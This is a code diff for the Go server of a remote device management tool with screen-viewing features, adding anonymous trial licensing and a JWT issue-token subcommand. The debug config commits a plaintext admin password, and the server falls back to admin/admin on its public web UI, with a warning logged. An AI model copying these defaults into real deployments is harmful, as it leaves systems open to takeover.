void NotifyAudioState(uint64_t device_id, bool enabled);
// Cursor change notification (called from ScreenSpyDlg) // Cursor change notification (called from ScreenSpyDlg)
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index); void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
@@ -129,6 +135,7 @@ private:
void HandleMouse(void* ws_ptr, const std::string& msg); void HandleMouse(void* ws_ptr, const std::string& msg);
void HandleKey(void* ws_ptr, const std::string& msg); void HandleKey(void* ws_ptr, const std::string& msg);
void HandleRdpReset(void* ws_ptr, const std::string& token); void HandleRdpReset(void* ws_ptr, const std::string& token);
void HandleAudioToggle(void* ws_ptr, const std::string& token);
// Token management // Token management
std::string GenerateToken(const std::string& username, const std::string& role); std::string GenerateToken(const std::string& username, const std::string& role);

View File

@@ -9,7 +9,8 @@
"program": "${workspaceFolder}/cmd", "program": "${workspaceFolder}/cmd",
"cwd": "${workspaceFolder}", "cwd": "${workspaceFolder}",
"args": [ "args": [
"-port=9090" "-port=6543",
"--http-port=8080"
], ],
"env": { "env": {
"YAMA_WEB_ADMIN_PASS": "3.14159" "YAMA_WEB_ADMIN_PASS": "3.14159"
@@ -25,7 +26,8 @@
"program": "${workspaceFolder}/cmd", "program": "${workspaceFolder}/cmd",
"cwd": "${workspaceFolder}", "cwd": "${workspaceFolder}",
"args": [ "args": [
"-port=9090" "-port=6543",
"--http-port=8080"
], ],
"env": { "env": {
"YAMA_WEB_ADMIN_PASS": "3.14159" "YAMA_WEB_ADMIN_PASS": "3.14159"

View File

@@ -159,11 +159,14 @@ VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
| `YAMA_PWD` | 超级密码,用于 HMAC 签名验证;也作为 Web admin 密码的默认来源 | `your_super_password` | | `YAMA_PWD` | 超级密码,用于 HMAC 签名验证;也作为 Web admin 密码的默认来源 | `your_super_password` |
| `YAMA_WEB_ADMIN_PASS` | Web UI 的 admin 密码(明文);优先于 `YAMA_PWD`。两者都未设置时 Web 登录禁用 | `your_admin_password` | | `YAMA_WEB_ADMIN_PASS` | Web UI 的 admin 密码(明文);优先于 `YAMA_PWD`。两者都未设置时 Web 登录禁用 | `your_admin_password` |
| `YAMA_SIGN_PASSWORD` | **[LocalSigner 模式]** HMAC-SHA256 master key直接给 CMD_MASTERSETTING 签名。Operator 自己的部署用。设置此变量后进入 LocalSigner 模式(见下方"签名模式")。 | `<deployment-shared-secret>` | | `YAMA_SIGN_PASSWORD` | **[LocalSigner 模式]** HMAC-SHA256 master key直接给 CMD_MASTERSETTING 签名。Operator 自己的部署用。设置此变量后进入 LocalSigner 模式(见下方"签名模式")。 | `<deployment-shared-secret>` |
| `YAMA_LICENSE_SERVER` | **[RemoteSigner 模式]** Operator 的 License Server 公开 URL。客户部署设置此变量后进入 RemoteSigner 模式 —— 每次新设备登录会 HTTPS POST 给 License Server 拿签名,本机永远看不到 HMAC master key。必须与 `YAMA_LICENSE_TOKEN` 同时设置。 | `https://license.example.com` | | `YAMA_LICENSE_SERVER` | **[RemoteSigner / Trial 模式]** License Server 公开 URL。**不设置则用 DefaultLicenseServerURL (`https://web.just-do-it.icu:8080`)**。客户部署设置此变量后进入 RemoteSigner 模式 —— 每次新设备登录会 HTTPS POST 给 License Server 拿签名,本机永远看不到 HMAC master key。 | `https://license.example.com` |
| `YAMA_LICENSE_TOKEN` | **[RemoteSigner 模式]** Operator 颁发的客户 JWTRS256作为 Bearer token 鉴权。每个客户一份。 | `eyJhbGciOiJSUzI1NiI...` | | `YAMA_LICENSE_TOKEN` | **[RemoteSigner 模式]** Operator 颁发的客户 JWTRS256作为 Bearer token 鉴权。每个客户一份。**未设置则进入 TRIAL 模式(匿名试用,按出口 IP 配额 2 台)**。 | `eyJhbGciOiJSUzI1NiI...` |
| `YAMA_LICENSE_OFFLINE_HRS` | **[RemoteSigner 模式]** License Server 短暂不可达时,本地缓存签名的宽限期(小时)。默认 24。0 → 不缓存,每次新登录必须联网。 | `24` | | `YAMA_LICENSE_DISABLED` | 设为 `1` 强制 NoOp 模式(既不读 token 也不连 License Server客户端会拒绝屏幕/文件功能)。给本地开发 / 离线测试用。 | `1` |
| `YAMA_LICENSE_OFFLINE_HRS` | **[RemoteSigner / Trial 模式]** License Server 短暂不可达时,本地缓存签名的宽限期(小时)。默认 24。0 → 不缓存,每次新登录必须联网。 | `24` |
| `YAMA_LICENSE_PRIVATE_KEY` | **[issue-token 子命令]** RSA 私钥 PEM 路径,用于离线签发客户 JWT。与 `YAMA_LICENSE_PUBLIC_KEY` 配对。设置后 `issue-token` 子命令无需 `-key` 参数。 | `/opt/yama/license_priv.pem` |
| `YAMA_LICENSE_PUBLIC_KEY` | **[License Server 模式]** Operator 自己(已经是 LocalSigner想顺便对外提供 License Server 时,用来验证客户提交的 JWT 的 RSA 公钥 PEM 路径。必须与 `YAMA_LICENSE_HTTP_ADDR` 同时设置。 | `./license_pub.pem` | | `YAMA_LICENSE_PUBLIC_KEY` | **[License Server 模式]** Operator 自己(已经是 LocalSigner想顺便对外提供 License Server 时,用来验证客户提交的 JWT 的 RSA 公钥 PEM 路径。必须与 `YAMA_LICENSE_HTTP_ADDR` 同时设置。 | `./license_pub.pem` |
| `YAMA_LICENSE_HTTP_ADDR` | **[License Server 模式]** License Server HTTP 监听地址。**仅在 LocalSigner 模式下生效**RemoteSigner 客户不能反向当 license server。建议挂 nginx/Caddy 加 TLS 后对外。 | `:8443` | | `YAMA_LICENSE_HTTP_ADDR` | **[License Server 模式]** License Server HTTP 监听地址。**仅在 LocalSigner 模式下生效**RemoteSigner 客户不能反向当 license server。建议挂 nginx/Caddy 加 TLS 后对外。 | `:8443` |
| `YAMA_LICENSE_STATE_PATH` | **[License Server 模式]** Quota 状态持久化文件路径。设置后每次新设备入队或 slot 被驱逐时原子写入磁盘tmp + renameLicense Server 重启时从此文件恢复设备列表,消除重启期间因 tracker 清空导致的配额绕过窗口。不设则仅内存状态,重启后 tracker 清零。 | `/var/lib/yama/quota.json` |
| `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` | | `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` |
| `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` | | `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` |
| `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` | | `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
@@ -182,15 +185,16 @@ $env:YAMA_PWD="your_super_password"
## 签名模式CMD_MASTERSETTING signer ## 签名模式CMD_MASTERSETTING signer
单个 Go 二进制按启动时的环境变量自动选择种签名模式之一。同一个 master HMAC key 永远不会出现在客户机器上 —— 这是把 Go server 商业化部署给付费客户的核心安全前提。 单个 Go 二进制按启动时的环境变量自动选择种签名模式之一。同一个 master HMAC key 永远不会出现在客户机器上 —— 这是把 Go server 商业化部署给付费客户的核心安全前提。
| 模式 | 触发条件 | 用途 | | 模式 | 触发条件 | 用途 |
| ---- | -------- | ---- | | ---- | -------- | ---- |
| **LocalSigner** | `YAMA_SIGN_PASSWORD` 已设 | Operator 自己的部署。master HMAC key 在本机内存,签名直连 HMAC微秒级延迟。**可选**:再设 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 让本进程同时对外提供 License Server HTTP 服务。 | | **LocalSigner** | `YAMA_SIGN_PASSWORD` 已设 | Operator 自己的部署。master HMAC key 在本机内存,签名直连 HMAC微秒级延迟。**可选**:再设 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 让本进程同时对外提供 License Server HTTP 服务。 |
| **RemoteSigner** | `YAMA_LICENSE_SERVER` + `YAMA_LICENSE_TOKEN` 已设 | 客户部署。本机**永远看不到** master HMAC key —— 每次新设备登录会 HTTPS POST 到 operator 的 License Server拿到签名后塞进 CMD_MASTERSETTING。同 (clientID, startTime) 元组的签名缓存 24h可调`YAMA_LICENSE_OFFLINE_HRS`),用于扛短暂网络故障。 | | **RemoteSigner (paid)** | `YAMA_LICENSE_TOKEN` 已设(`YAMA_LICENSE_SERVER` 可选,未设则用 `DefaultLicenseServerURL` | 付费客户部署。本机**永远看不到** master HMAC key —— 每次新设备登录会 HTTPS POST 到 operator 的 License Server带 Bearer JWT 鉴权,拿到签名后塞进 CMD_MASTERSETTING。同 (clientID, startTime) 元组的签名缓存 24h可调`YAMA_LICENSE_OFFLINE_HRS`),用于扛短暂网络故障。 |
| **NoOpSigner** | 上述都没设 | Free tier。返回空签名 → 客户端私有库拒绝启动 screen/file 功能。设备列表仍然可用。 | | **RemoteSigner (trial)** | `YAMA_LICENSE_TOKEN` 未设、且未显式 `YAMA_LICENSE_DISABLED=1` | 匿名试用模式。没有 JWT连默认 License Server URL服务端按下级出口 IP 识别身份,配额 `FreeMaxDevices` (2 台),且匿名 `/license/sign` 受 IP 限流10 req/min。零配置直接跑就在这个模式。 |
| **NoOpSigner** | `YAMA_LICENSE_DISABLED=1` | 显式离线/开发模式。不连任何 License Server返回空签名 → 客户端私有库拒绝启动 screen/file 功能。设备列表仍然可用。 |
注:`YAMA_SIGN_PASSWORD``YAMA_LICENSE_SERVER` 同时设置时 LocalSigner 优先operator 自己的 server 不应该回连自己)。 注:`YAMA_SIGN_PASSWORD``YAMA_LICENSE_*` 同时设置时 LocalSigner 优先operator 自己的 server 不应该回连自己)。
### License Server endpoints仅 LocalSigner 暴露) ### License Server endpoints仅 LocalSigner 暴露)
@@ -203,22 +207,41 @@ $env:YAMA_PWD="your_super_password"
### 颁发客户 JWT ### 颁发客户 JWT
**第一步:一次性生成 RSA 密钥对**(只在授权中心执行一次,私钥永久保管)
```bash ```bash
# 一次性生成 RSA 密钥对(私钥 operator 自己保管,公钥用于 License Server 验证)
openssl genrsa -out license_priv.pem 2048 openssl genrsa -out license_priv.pem 2048
openssl rsa -in license_priv.pem -pubout -out license_pub.pem openssl rsa -in license_priv.pem -pubout -out license_pub.pem
``` ```
底层 API 是 `licensing.Issue(privKey, sub, tier, maxDevices, ttl)`(见 [`licensing/server.go`](licensing/server.go))。一个开箱即用的 CLI 包装在独立仓库 [`yama-issue-token`](https://git.simpleremoter.com/yuanyuanxiang/yama-issue-token)go.mod `replace` 指向本仓库的 `licensing` 包),用法: - `license_priv.pem` — 私钥,设为 `YAMA_LICENSE_PRIVATE_KEY`,仅存于授权中心,**绝不外发**
- `license_pub.pem` — 公钥,设为 `YAMA_LICENSE_PUBLIC_KEY`,授权中心 License Server 用于验证客户 JWT
**第二步:颁发 JWT**
`server` 二进制内置 `issue-token` 子命令。授权中心已配置 `YAMA_LICENSE_PRIVATE_KEY` 时,只需要提供客户标识:
```bash ```bash
yama-issue-token -priv license_priv.pem -sub acme-corp -tier paid -max 100 -days 365 # 最简调用(私钥路径从 $YAMA_LICENSE_PRIVATE_KEY 读取)
server issue-token -sub customer-acme
# 完整参数
server issue-token \
-sub customer-acme \ # 客户唯一标识(必填)
-tier paid \ # paid 或 trial默认 paid
-devices 20 \ # 最大并发设备数(默认 10
-ttl 8760h # 有效期(默认 8760h = 1 年)
``` ```
| Tier | max_devices 默认 | 备注 | 命令将 JWT 字符串输出到 stdout将其作为 `YAMA_LICENSE_TOKEN` 交给客户。
| ---- | ---------------- | ---- |
| `trial` | 20JWT 未指定时) | 移植 C++ 反代理 RTT 逻辑 | | 参数 | 默认值 | 说明 |
| `paid` | JWT 必须显式指定 | 长 TTL token | | ---- | ------ | ---- |
| `-key` | `$YAMA_LICENSE_PRIVATE_KEY` | RSA 私钥 PEM 路径env 已设则无需重复指定 |
| `-sub` | (必填) | 客户唯一标识,建议用 `company-id` 格式 |
| `-tier` | `paid` | `paid``trial` |
| `-devices` | `10` | 并发设备上限;`paid` 必须显式设置合理值 |
| `-ttl` | `8760h` | Token 有效期,支持 Go duration 语法(`h`/`m`/`s` |
## 使用示例 ## 使用示例
@@ -496,6 +519,85 @@ publicIP := info.GetReservedField(11) // 公网 IP
- [gopkg.in/natefinch/lumberjack.v2](https://github.com/natefinch/lumberjack) - 日志轮转 - [gopkg.in/natefinch/lumberjack.v2](https://github.com/natefinch/lumberjack) - 日志轮转
- [golang.org/x/text](https://pkg.go.dev/golang.org/x/text) - GBK 编码转换 - [golang.org/x/text](https://pkg.go.dev/golang.org/x/text) - GBK 编码转换
## 配置和启动参数
### 启动参数说明
- `-p` / `--port`:受管设备 TCP 监听端口(默认 6543可分号分隔多端口`6543;6544;6545`
- `--http-port`Web 管理 HTTP 端口(默认 8080设为 0 则禁用 Web 管理)
- `--no-console`:守护进程模式,不输出到控制台(日志仍写入 `logs/server.log`
### 1授权中心由我运行
**模式判定**:设置了 `YAMA_SIGN_PASSWORD`,本进程以 LocalSigner 持有主 HMAC 密钥;可选地开启
License Server HTTP`YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR`),向下级服务签发带 24h 缓存的授权。
```bash
export YAMA_PWD="授权码 HMAC 校验密钥TCP 端 passcode 签名验证)"
export YAMA_WEB_ADMIN_PASS="Web 端登录密码"
export YAMA_SIGN_PASSWORD="主控签名 HMAC 主密钥(受管设备验证服务端身份)"
export YAMA_WEB_TRUST_PROXY=1
export YAMA_WEB_ALLOWED_ORIGINS="https://web.just-do-it.icu:8080"
export YAMA_LICENSE_PRIVATE_KEY="/opt/yama/license_priv.pem"
export YAMA_LICENSE_PUBLIC_KEY="/opt/yama/license_pub.pem"
export YAMA_LICENSE_HTTP_ADDR="127.0.0.1:8443"
nohup ./server_linux_amd64 -p 8000 --http-port=9001 --no-console &
```
由前端代理将公网流量(受管设备 8000、Web 9001、License Server 8443转发到本进程。受管设备通过 8000 端口直连服务端;
下级服务(运行 RemoteSigner通过代理对外暴露的 `YAMA_LICENSE_SERVER` 公网 URL 取授权签名,代理后端转发到本进程
绑定的 `YAMA_LICENSE_HTTP_ADDR (127.0.0.1:8443)`
可选环境变量:
- `YAMA_PWDHASH`TCP 授权码的 SHA256 哈希(未设置则使用代码内置默认值,启动 banner 会有警告)
- `YAMA_USERS_FILE`:额外 Web 用户列表 JSON 路径(默认 `users.json`
### 2下级服务运营商部署
下级二进制把"小白用户开箱即用"作为目标——**理想情况下,什么都不配,直接 `./server_linux_amd64` 就能跑起来**。
启动后默认行为:
- License Server默认连到 `https://web.just-do-it.icu:8080`DefaultLicenseServerURL
- 模式:无 `YAMA_LICENSE_TOKEN` → 进入**试用模式**TRIAL授权中心按下级出口 IP 识别身份,最多 **2 台**
受管设备FreeMaxDevices
- Web 管理:无 `YAMA_WEB_ADMIN_PASS` → 使用默认账号 `admin/admin`,启动日志会大字警告
- 监听端口:受管设备 TCP 6543、Web 8080
#### 最简启动零配置试用2 台设备上限)
```bash
nohup ./server_linux_amd64 --no-console &
```
启动日志会显示:
```
WARN ⚠ YAMA_WEB_ADMIN_PASS / YAMA_PWD 均未设置Web 管理使用默认密码 admin/admin — 生产环境务必覆盖
INFO Signer mode: TRIAL (anonymous试用模式, license server=https://web.just-do-it.icu:8080,
最多 2 台受管设备; 设置 YAMA_LICENSE_TOKEN 解锁付费配额)
```
#### 推荐生产配置(覆盖默认密码 + 付费 token
```bash
export YAMA_WEB_ADMIN_PASS="自定义 Web 登录密码"
export YAMA_LICENSE_TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M..." # 向授权中心申请
nohup ./server_linux_amd64 -p 6543 --http-port=8080 --no-console &
```
设置 `YAMA_LICENSE_TOKEN` 后切换为 REMOTE 模式(付费),配额由 JWT 的 `max_devices` 决定。
如果同时改 `YAMA_LICENSE_SERVER` 可以接到自部署的授权中心,否则继续走默认 URL。
#### 其他可选
- `YAMA_LICENSE_DISABLED=1`:完全禁用 License Server 通信(离线 / 内网测试),客户端会拒绝屏幕/文件功能但设备列表仍能用
- `YAMA_LICENSE_OFFLINE_HRS=24`:本地签名缓存的 TTL默认 24h
- 受管设备的 `client.exe` 由 Windows 主控端生成(已绑定服务端地址和公钥),下级运营商把它分发给终端用户。
client 通过 6543 端口连接到本服务端;用户通过 8080 端口登录 Web 管理页面。
## License ## License
MIT License MIT License

View File

@@ -415,9 +415,29 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
resolution = info.GetReservedField(protocol.ResFieldResolution) resolution = info.GetReservedField(protocol.ResFieldResolution)
} }
// Register with hub so the web side can list this device. Sub-connections // Sign BEFORE registering in the hub so a quota-rejected device never
// (screen / terminal etc.) reuse the MasterID and will overwrite this entry // appears in the web device list, even briefly. If signing fails we still
// harmlessly, but only the main login carries enough info to be useful here. // send CMD_MASTERSETTING (zeroed signature, wire protocol stays clean) and
// then close the connection — no hub registration happens at all.
sigErr := h.sendMasterSetting(ctx, info.StartTime, clientID)
if sigErr != nil {
// Any sign error means no valid signature was issued — close without
// registering. Covers: quota exceeded (403), anonymous IP rate limit
// (429), and transient errors on a brand-new device with no cache.
// Existing devices reconnecting hit the fresh-cache path in Sign() and
// return ("sig", nil), so they are never rejected here.
h.log.Warn("sign failed for clientID=%s (%v) — closing connection", clientID, sigErr)
go func() {
time.Sleep(50 * time.Millisecond) // let CMD_MASTERSETTING flush
ctx.Close()
}()
return
}
// Signing succeeded: register with hub so the web side can list this
// device. Sub-connections (screen / terminal etc.) reuse the MasterID and
// will overwrite this entry harmlessly, but only the main login carries
// enough info to be useful here.
h.hub.Register(&hub.Device{ h.hub.Register(&hub.Device{
ID: clientID, ID: clientID,
Name: name, Name: name,
@@ -434,11 +454,6 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
PublicIP: clientInfo.IP, PublicIP: clientInfo.IP,
ConnectedAt: time.Now(), ConnectedAt: time.Now(),
}, ctx) }, ctx)
// Push CMD_MASTERSETTING with a signature over "StartTime|ClientID".
// The client's private FileUpload init verifies this before allowing
// screen / file operations — without it the binary aborts itself.
h.sendMasterSetting(ctx, info.StartTime, clientID)
} }
// sendMasterSetting builds the 1001-byte CMD_MASTERSETTING reply and ships it // sendMasterSetting builds the 1001-byte CMD_MASTERSETTING reply and ships it
@@ -448,10 +463,10 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
// - RemoteSigner: HTTPS POST to operator's License Server (customer deployment) // - RemoteSigner: HTTPS POST to operator's License Server (customer deployment)
// - NoOpSigner: returns empty signature (free tier; client refuses screen/file ops) // - NoOpSigner: returns empty signature (free tier; client refuses screen/file ops)
// //
// On signer error (License Server unreachable + no cache hit), we still ship // Returns the signer error (not the send error) so callers can distinguish
// a zeroed signature so the packet is well-formed; the client will retry on // quota-exceeded rejections from transient failures and act accordingly.
// next reconnect. // The packet is always sent — even on error — so the wire protocol stays clean.
func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) { func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) error {
buf := make([]byte, 1+protocol.MasterSettingsSize) buf := make([]byte, 1+protocol.MasterSettingsSize)
buf[0] = protocol.CmdMasterSetting buf[0] = protocol.CmdMasterSetting
@@ -462,10 +477,10 @@ func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, client
buf[1:5], buf[1:5],
uint32(protocol.DefaultReportIntervalSec)) uint32(protocol.DefaultReportIntervalSec))
sig, err := h.signer.Sign(startTime, clientID) sig, sigErr := h.signer.Sign(startTime, clientID)
if err != nil { if sigErr != nil {
h.log.Error("signer (%s) failed for clientID=%s: %v — sending zeroed signature", h.log.Error("signer (%s) failed for clientID=%s: %v — sending zeroed signature",
h.signer.Mode(), clientID, err) h.signer.Mode(), clientID, sigErr)
} else if sig == "" { } else if sig == "" {
// NoOpSigner path, or LocalSigner with empty master key — same effect. // NoOpSigner path, or LocalSigner with empty master key — same effect.
// Log only once per process via the startup banner; don't spam here. // Log only once per process via the startup banner; don't spam here.
@@ -477,6 +492,7 @@ func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, client
if err := h.srv.Send(ctx, buf); err != nil { if err := h.srv.Send(ctx, buf); err != nil {
h.log.Error("CMD_MASTERSETTING send failed for conn=%d: %v", ctx.ID, err) h.log.Error("CMD_MASTERSETTING send failed for conn=%d: %v", ctx.ID, err)
} }
return sigErr
} }
// handleAuth handles authorization request (TOKEN_AUTH = 100) // handleAuth handles authorization request (TOKEN_AUTH = 100)
@@ -645,7 +661,72 @@ func splitCSV(s string) []string {
return out return out
} }
// runIssueToken handles the "issue-token" subcommand. It mints a customer JWT
// signed with the operator's RSA private key and prints it to stdout.
//
// The private key path defaults to $YAMA_LICENSE_PRIVATE_KEY so that on the
// authorization server — where env vars are already configured — only the
// per-customer fields need to be specified:
//
// server issue-token -sub customer-acme [-tier paid|trial] [-devices 10] [-ttl 8760h]
//
// If neither -key nor $YAMA_LICENSE_PRIVATE_KEY is set, the command exits
// with a clear error rather than silently using a wrong default.
func runIssueToken(args []string) {
fs := flag.NewFlagSet("issue-token", flag.ExitOnError)
// Default from env so the operator doesn't need to retype the path.
keyPath := fs.String("key", os.Getenv(licensing.EnvLicensePrivKeyPath),
"Path to RSA private key PEM (PKCS#1 or PKCS#8); default: $"+licensing.EnvLicensePrivKeyPath)
sub := fs.String("sub", "", "Customer identifier — unique string, e.g. \"customer-acme\" (required)")
tier := fs.String("tier", licensing.TierPaid, "License tier: \"paid\" or \"trial\"")
devices := fs.Int("devices", 10, "Max concurrent managed devices")
ttl := fs.Duration("ttl", 365*24*time.Hour, "Token validity period, e.g. 8760h (1 year)")
fs.Usage = func() {
fmt.Fprintf(os.Stderr, "Usage: %s issue-token [flags]\n\nFlags:\n", os.Args[0])
fs.PrintDefaults()
fmt.Fprintf(os.Stderr, "\nExample:\n %s issue-token -sub customer-acme -tier paid -devices 20 -ttl 8760h\n", os.Args[0])
}
_ = fs.Parse(args)
var errs []string
if *keyPath == "" {
errs = append(errs, fmt.Sprintf("-key or $%s is required", licensing.EnvLicensePrivKeyPath))
}
if *sub == "" {
errs = append(errs, "-sub is required")
}
if len(errs) > 0 {
for _, e := range errs {
fmt.Fprintln(os.Stderr, "error:", e)
}
fmt.Fprintln(os.Stderr)
fs.Usage()
os.Exit(1)
}
privKey, err := licensing.LoadRSAPrivateKey(*keyPath)
if err != nil {
fmt.Fprintf(os.Stderr, "error loading private key: %v\n", err)
os.Exit(1)
}
token, err := licensing.Issue(privKey, *sub, *tier, *devices, *ttl)
if err != nil {
fmt.Fprintf(os.Stderr, "error issuing token: %v\n", err)
os.Exit(1)
}
fmt.Println(token)
}
func main() { func main() {
// Subcommand dispatch: "server issue-token ..." runs the token-minting
// helper and exits without starting the server.
if len(os.Args) > 1 && os.Args[1] == "issue-token" {
runIssueToken(os.Args[2:])
return
}
// Parse command line flags // Parse command line flags
portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)") portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)")
flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)") flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)")
@@ -702,11 +783,11 @@ func main() {
// Build the CMD_MASTERSETTING signer based on env vars: // Build the CMD_MASTERSETTING signer based on env vars:
// - YAMA_SIGN_PASSWORD set → LocalSigner (operator's own deployment; // - YAMA_SIGN_PASSWORD set → LocalSigner (operator's own deployment;
// HMAC master key lives here) // HMAC master key lives here)
// - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner // - YAMA_LICENSE_DISABLED=1 → NoOpSigner (explicit opt-out; dev / offline)
// (customer deployment; never sees the master key, fetches signatures // - YAMA_LICENSE_TOKEN set → RemoteSigner (paid customer; talks to
// from operator's License Server with 24h cache) // operator's License Server with JWT)
// - neither → NoOpSigner (free tier; client refuses screen/file ops // - neither of the above → RemoteSigner (anonymous trial; default
// but device list still works) // URL, no JWT, cap FreeMaxDevices)
signer, mode, err := licensing.NewFromEnv(log) signer, mode, err := licensing.NewFromEnv(log)
if err != nil { if err != nil {
log.Fatal("Failed to initialize signer: %v", err) log.Fatal("Failed to initialize signer: %v", err)
@@ -718,10 +799,21 @@ func main() {
case licensing.ModeLocal: case licensing.ModeLocal:
log.Info("Signer mode: LOCAL (operator deployment, master key held in-process)") log.Info("Signer mode: LOCAL (operator deployment, master key held in-process)")
case licensing.ModeRemote: case licensing.ModeRemote:
log.Info("Signer mode: REMOTE (customer deployment, %s=%s)", licServer := os.Getenv(licensing.EnvLicenseServer)
licensing.EnvLicenseServer, os.Getenv(licensing.EnvLicenseServer)) if licServer == "" {
licServer = licensing.DefaultLicenseServerURL
}
log.Info("Signer mode: REMOTE (paid customer, license server=%s)", licServer)
case licensing.ModeTrial:
licServer := os.Getenv(licensing.EnvLicenseServer)
if licServer == "" {
licServer = licensing.DefaultLicenseServerURL
}
log.Info("Signer mode: TRIAL (anonymous试用模式, license server=%s, 最多 %d 台受管设备; 设置 %s 解锁付费配额)",
licServer, licensing.FreeMaxDevices, licensing.EnvLicenseToken)
case licensing.ModeNoOp: case licensing.ModeNoOp:
log.Warn("Signer mode: NOOP (no licensing configured; screen/file features disabled on clients)") log.Warn("Signer mode: NOOP (licensing disabled via %s=1; client refuses screen/file features)",
licensing.EnvLicenseDisabled)
} }
// If the operator also wants this LocalSigner deployment to serve as // If the operator also wants this LocalSigner deployment to serve as
@@ -749,6 +841,10 @@ func main() {
adminPass = defaultWebAdminPass adminPass = defaultWebAdminPass
rememberDefault("YAMA_WEB_ADMIN_PASS", defaultWebAdminPass) rememberDefault("YAMA_WEB_ADMIN_PASS", defaultWebAdminPass)
usingDefaultWebPass = true usingDefaultWebPass = true
// Loud warn (in addition to the startup banner): the binary is now
// accepting admin/admin on the public web UI. Anyone running this
// without overriding the env var in prod needs to see it in red.
log.Warn("⚠ YAMA_WEB_ADMIN_PASS / YAMA_PWD 均未设置Web 管理使用默认密码 admin/admin — 生产环境务必覆盖")
} }
webAuth.AddAdminFromPlainPassword("admin", adminPass) webAuth.AddAdminFromPlainPassword("admin", adminPass)
log.Info("Web admin user configured") log.Info("Web admin user configured")

View File

@@ -7,6 +7,7 @@ require (
github.com/gorilla/websocket v1.5.3 github.com/gorilla/websocket v1.5.3
github.com/klauspost/compress v1.18.2 github.com/klauspost/compress v1.18.2
github.com/rs/zerolog v1.34.0 github.com/rs/zerolog v1.34.0
golang.org/x/sync v0.20.0
golang.org/x/text v0.32.0 golang.org/x/text v0.32.0
gopkg.in/natefinch/lumberjack.v2 v2.2.1 gopkg.in/natefinch/lumberjack.v2 v2.2.1
) )
@@ -14,6 +15,5 @@ require (
require ( require (
github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-isatty v0.0.19 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/sys v0.12.0 // indirect golang.org/x/sys v0.12.0 // indirect
) )

View File

@@ -13,11 +13,20 @@ const (
EnvSignPassword = "YAMA_SIGN_PASSWORD" // LocalSigner master HMAC key EnvSignPassword = "YAMA_SIGN_PASSWORD" // LocalSigner master HMAC key
EnvLicenseServer = "YAMA_LICENSE_SERVER" // RemoteSigner: License Server base URL EnvLicenseServer = "YAMA_LICENSE_SERVER" // RemoteSigner: License Server base URL
EnvLicenseToken = "YAMA_LICENSE_TOKEN" // RemoteSigner: customer JWT EnvLicenseToken = "YAMA_LICENSE_TOKEN" // RemoteSigner: customer JWT
EnvLicensePrivKeyPath = "YAMA_LICENSE_PRIVATE_KEY" // issue-token: RSA private key PEM path (paired with public key)
EnvLicensePubKeyPath = "YAMA_LICENSE_PUBLIC_KEY" // LocalSigner-as-LS: RSA public key PEM path EnvLicensePubKeyPath = "YAMA_LICENSE_PUBLIC_KEY" // LocalSigner-as-LS: RSA public key PEM path
EnvLicenseHTTPAddr = "YAMA_LICENSE_HTTP_ADDR" // LocalSigner-as-LS: listen address, e.g. ":8443" EnvLicenseHTTPAddr = "YAMA_LICENSE_HTTP_ADDR" // LocalSigner-as-LS: listen address, e.g. ":8443"
EnvLicenseStatePath = "YAMA_LICENSE_STATE_PATH" // LocalSigner-as-LS: quota state persistence file path
EnvLicenseOfflineHrs = "YAMA_LICENSE_OFFLINE_HRS" // RemoteSigner: cache TTL hours (default 24) EnvLicenseOfflineHrs = "YAMA_LICENSE_OFFLINE_HRS" // RemoteSigner: cache TTL hours (default 24)
EnvLicenseDisabled = "YAMA_LICENSE_DISABLED" // set to 1 to force NoOpSigner (offline / dev)
) )
// DefaultLicenseServerURL is the publicly-hosted License Server new downstream
// deployments hit when YAMA_LICENSE_SERVER is unset. "Zero config" trial mode
// uses this URL with no Bearer token — the License Server treats it as an
